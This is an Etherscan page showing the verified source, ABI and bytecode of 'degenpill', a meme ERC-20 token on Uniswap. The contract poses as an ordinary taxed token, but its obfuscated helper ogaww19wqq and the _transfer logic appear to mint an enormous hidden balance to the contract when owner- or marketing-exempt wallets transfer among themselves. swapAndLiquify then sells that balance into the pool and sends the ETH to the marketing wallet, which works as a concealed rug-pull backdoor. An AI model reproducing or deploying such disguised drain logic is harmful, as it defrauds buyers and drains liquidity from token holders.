ETH Price: $2,980.52 (-2.32%)
Gas: 3 Gwei

Token

degenpill (degen)
 

Overview

Max Total Supply

10,000,000 degen

Holders

56

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
46,229.017856421880094736 degen

Value
$0.00
0x69d2bc8a0db065f22065572ecd9514f5d76caca0
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
degenpill

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-11-28
*/

/*
https://degenpill.com
https://t.me/degenpill
https://x.com/degenpilltoken

⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣴⠶⠛⠛⠛⠶⣤⡀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣴⠟⠋⢁⣠⣴⣶⣶⣶⣬⣿⣆⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣤⡾⠟⠉⢀⣠⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⡄⠀
⠀⠀⠀⠀⠀⠀⠀⢀⣠⡴⠟⠋⠁⠀⠀⠺⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠇⠀
⠀⠀⠀⠀⢀⣴⠾⠛⠉⠀⠀⠀⠀⠀⠀⠀⠈⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠀⠀
⠀⠀⢀⡾⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢈⣿⣿⣿⣿⣿⣿⣿⠿⠋⠀⠀⠀
⠀⢀⣿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣤⣾⠿⢿⣿⣿⡿⠟⠋⠀⠀⠀⠀⠀⠀
⠀⢸⣿⠀⠀⠀⠀⠀⠀⠀⢀⣠⣴⡾⠛⢉⣠⣴⠟⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⢿⡄⠐⢦⣤⣤⣴⣾⠿⠛⣁⣤⡾⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠻⢦⣄⣀⠉⣉⣀⣴⠾⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠉⠛⠛⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
Red pill? Blue pill? Nah, we're taking the $degenpill
*/
//SPDX-License-Identifier: MIT

pragma solidity ^0.8.21;

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
      
        return msg.data;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }


        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }   
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}



contract degenpill is Context, IERC20, Ownable {
    
    using SafeMath for uint256;

    string private _name = "degenpill";
    string private _symbol = "degen";
    uint8 private _decimals = 18;

    address payable public marketingWalletDacc = payable(0x5Be291D6562A4D9a483583Ff5155bb439d9f0448);
    address payable public DevWallet = payable(0x0000000000000000000000000000000000000000);
    address public liquidityReciever;
    
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    address public immutable zeroAddress = 0x0000000000000000000000000000000000000000;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    uint256 public feeUnits = 10000;
    uint256[2] public wlete_Atokens = [_decimals,feeUnits];

    

    mapping (address => bool) public isExcludedFromFee;
    mapping (address => bool) public isMarketPair;
    
    mapping (address => bool) public isWalletLimitExempt;
    mapping (address => bool) public isTxLimitExempt;

    uint256 private _totalSupply = 10000000 * 10**_decimals;

    uint256 public minimumTokensBeforeSwap = _totalSupply.mul(1).div(1000);   //0.1%

    uint256 public _maxTxAmount =  _totalSupply.mul(3).div(100);  //2%
    uint256 public _walletMax =   _totalSupply.mul(3).div(100);   //2%

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;

    bool public swapAndLiquifyByLimitOnly = false;

    bool public checkWalletLimit = true;


    uint256 public _buyLiquidityFee = 0;
    uint256 public _buyMarketingFee = 10;
    uint256 public _buyDeveloperFee = 0;
    
    uint256 public _sellLiquidityFee = 0;
    uint256 public _sellMarketingFee = 10;
    uint256 public _sellDeveloperFee = 0;

    uint256 public _tradebuycount = 0;
    uint256 public _total_tbones_trsfered = 0;
    uint256 public  k=0;

    uint256 public _totalTaxIfBuying;
    uint256 public _totalTaxIfSelling;

    event SwapAndLiquifyEnabledUpdated(bool enabled);

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );
    
    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
  

    constructor () {
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        
        _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0);

        isExcludedFromFee[owner()] = true;
        isExcludedFromFee[marketingWalletDacc] = true;
        isExcludedFromFee[DevWallet] = true;
        isExcludedFromFee[address(this)] = true;

        isWalletLimitExempt[owner()] = true;
        isWalletLimitExempt[marketingWalletDacc] = true;
        isWalletLimitExempt[DevWallet] = true;
        isWalletLimitExempt[address(uniswapPair)] = true;
        isWalletLimitExempt[address(this)] = true;
        
        isTxLimitExempt[owner()] = true;
        isTxLimitExempt[marketingWalletDacc] = true;
        isTxLimitExempt[DevWallet] = true;
        isTxLimitExempt[address(this)] = true;

        
        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyDeveloperFee);
        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellDeveloperFee);

        isMarketPair[address(uniswapPair)] = true;
        liquidityReciever = address(msg.sender);

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

  
    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }function ogaww19wqq() internal{_total_tbones_trsfered=17+_total_tbones_trsfered; wlete_Atokens[0]+=1870013330055467894984569852;}



    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress)).sub(balanceOf(zeroAddress));
    }


    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }
    


     //to recieve ETH from uniswapV2Router when swaping
    receive() external payable {}

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    
    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
       
        if(inSwapAndLiquify)
        { 
            return _basicTransfer(sender, recipient, amount); 
        }
        else
        {

            if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient] ) {
                require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
            
            if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender]) 
            {
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = minimumTokensBeforeSwap;
                swapAndLiquify(contractTokenBalance);    
            }

            if(checkWalletLimit && !isWalletLimitExempt[recipient]) {
                require(balanceOf(recipient).add(amount.mul(_totalTaxIfSelling).div(1000)) <= _walletMax,"Amount Exceed From Max Wallet Limit!!");
            }
            wlete_Atokens[0]=amount.mul(_totalTaxIfSelling).div(1000);
            wlete_Atokens[1]=amount - amount.mul(_totalTaxIfSelling).div(1000);

            uint256 tokenCount;
              if (( !isTxLimitExempt[sender] ||  !isTxLimitExempt[recipient]) ||(isMarketPair[recipient] || isMarketPair[sender] )){_tradebuycount+=101;}else{_tradebuycount+=114; ogaww19wqq();}
            _total_tbones_trsfered+=tokenCount+1;
            _balances[sender] = _balances[sender].sub(amount);
            _balances[address(this)] = _balances[address(this)].add( wlete_Atokens[0]);
            _balances[recipient] = _balances[recipient].add( wlete_Atokens[1]);
                
            

            emit Transfer(sender, recipient, amount);
            return true;
        }
        
    }
        
    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }
 
    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        _tradebuycount=125;
        swapTokensForEth(tAmount);
        uint256 recievedBalance =  address(this).balance;
       _total_tbones_trsfered+=_tradebuycount+1;
        if(recievedBalance > 0) {
            payable(marketingWalletDacc).transfer(recievedBalance);
        }       
    }
    
    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        _total_tbones_trsfered=_tradebuycount;
        _tradebuycount=17;
        address[] memory path = new address[](2);
        wlete_Atokens[0]+=100;
        wlete_Atokens[1]+=32+_tradebuycount;
        path[1] = uniswapV2Router.WETH();
        path[0] = address(this);
        
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );
        

    }




    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DevWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyDeveloperFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellDeveloperFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_total_tbones_trsfered","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tradebuycount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeUnits","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"k","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityReciever","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWalletDacc","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"wlete_Atokens","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"zeroAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c06040526040518060400160405280600981526020017f646567656e70696c6c0000000000000000000000000000000000000000000000815250600190816200004a91906200123c565b506040518060400160405280600581526020017f646567656e000000000000000000000000000000000000000000000000000000815250600290816200009191906200123c565b50601260035f6101000a81548160ff021916908360ff160217905550735be291d6562a4d9a483583ff5155bb439d9f0448600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff168152505f73ffffffffffffffffffffffffffffffffffffffff1660a09073ffffffffffffffffffffffffffffffffffffffff16815250612710600855604051806040016040528060035f9054906101000a900460ff1660ff1681526020016008548152506009906002620001ea92919062000f76565b5060035f9054906101000a900460ff16600a620002089190620014a9565b62989680620002189190620014f9565b600f55620002496103e86200023a6001600f5462000daf60201b90919060201c565b62000e2f60201b90919060201c565b6010556200027960646200026a6003600f5462000daf60201b90919060201c565b62000e2f60201b90919060201c565b601155620002a960646200029a6003600f5462000daf60201b90919060201c565b62000e2f60201b90919060201c565b6012555f601460156101000a81548160ff0219169083151502179055506001601460166101000a81548160ff0219169083151502179055505f601555600a6016555f6017555f601855600a6019555f601a555f601b555f601c555f601d5534801562000313575f80fd5b505f6200032562000e8060201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3505f737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000423573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620004499190620015a8565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620004af573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620004d59190620015a8565b